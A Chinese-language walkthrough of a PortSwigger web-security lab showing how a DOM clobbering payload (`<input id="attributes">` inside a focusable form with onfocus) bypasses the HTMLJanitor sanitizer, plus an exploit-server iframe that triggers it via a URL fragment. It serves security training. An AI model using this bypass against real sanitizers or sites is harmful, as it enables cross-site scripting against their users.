# DOM-based Lab7 這題是利用 DOM Clobbering 攻擊 HTML 屬性過濾邏輯,搭配 onfocus 事件觸發 print(),來繞過 HTMLJanitor 的安全處理。 > ### HTMLJanitor 是什麼? > 一個用來淨化 HTML 的 JavaScript library,它會檢查 element 的 attributes 屬性,只保留「白名單」中的屬性。 > > ### Clobber attributes 是什麼意思? > attributes 原本是 DOM 的一個內建屬性(NamedNodeMap),如果我們在 HTML 裡寫:`<input id="attributes">`,JS 裡的 `element.attributes` 就會被 clobber 掉,變成,HTMLInputElement,而不是 NamedNodeMap > >這會導致 .length 變成 undefined,繞過 HTMLJanitor 的過濾邏輯。 一樣先進入網站。 ![image](https://hackmd.io/_uploads/B1HalzREex.png) 然後到文章下面留言: ```html <form id="x" tabindex=0 onfocus=print()><input id="attributes"> ``` 這裡做了幾件事: | 元素 | 說明| | -------- | -------- | | <form id="x"> | 讓我們可以透過 #x fragment 聚焦這個表單元素。 | | tabindex=0 | 讓這個 <form> 能夠被「聚焦」,不然預設是不能 focus 的。 | | onfocus=print() | 一旦這元素被聚焦,瀏覽器會觸發 print()。 | | <input id="attributes"> | 這會 clobber 掉 form.attributes,讓 HTMLJanitor 失效,允許 onfocus 被留在 DOM 裡。 | ![image](https://hackmd.io/_uploads/HyM45mRExl.png) :::info ### ❶ 【為什麼 HTMLJanitor 會被繞過?】 HTMLJanitor 在處理每個 element 時,會跑像這樣的邏輯: ```html for (let i = 0; i < element.attributes.length; i++) { let attr = element.attributes[i]; // 檢查是否是允許的屬性 } ``` 但如果 DOM 裡放了這樣一行: ``` <input id="attributes"> ``` 那麼 `element.attributes` 不再是 NamedNodeMap,而是這個 input element。 element.attributes.length 就會變成 undefined,JavaScript 中: ``` for (let i = 0; i < undefined; i++) // 不會進入迴圈 ``` 整個過濾就被略過了,因此 `onfocus=print()` 成功被留下。 ### ❷ 【為什麼要用 tabindex=0?】 HTML 預設只有少數元素(像 `<input>、<a href>`)能夠被 focus。 但 form 元素預設不支援 focus,所以要額外加上 tabindex=0 才能用 JavaScript 或瀏覽器 hash 聚焦。 ::: 接著我們讓 iframe 在 exploit server 上觸發攻擊 ```html <iframe src="https://0ac9006004c6e8f980ea769e00e700d0.web-security-academy.net/post?postId=8" onload="setTimeout(() => this.src = this.src + '#x', 500)"></iframe> ``` | 行為 | 說明| | -------- | -------- | | 載入貼文頁面 | postId=8 要和你剛剛留言的那篇貼文對應。 | | 延遲 500ms | 確保留言 DOM 加載完畢(尤其是 JS filter),否則錨點跳轉無法定位到元素。 | | this.src += '#x' |模擬使用者點擊了,會 focus 到 id="x" 的表單。 | | onfocus → print() | 成功觸發 | ![image](https://hackmd.io/_uploads/B19n2Q0Nxl.png) ---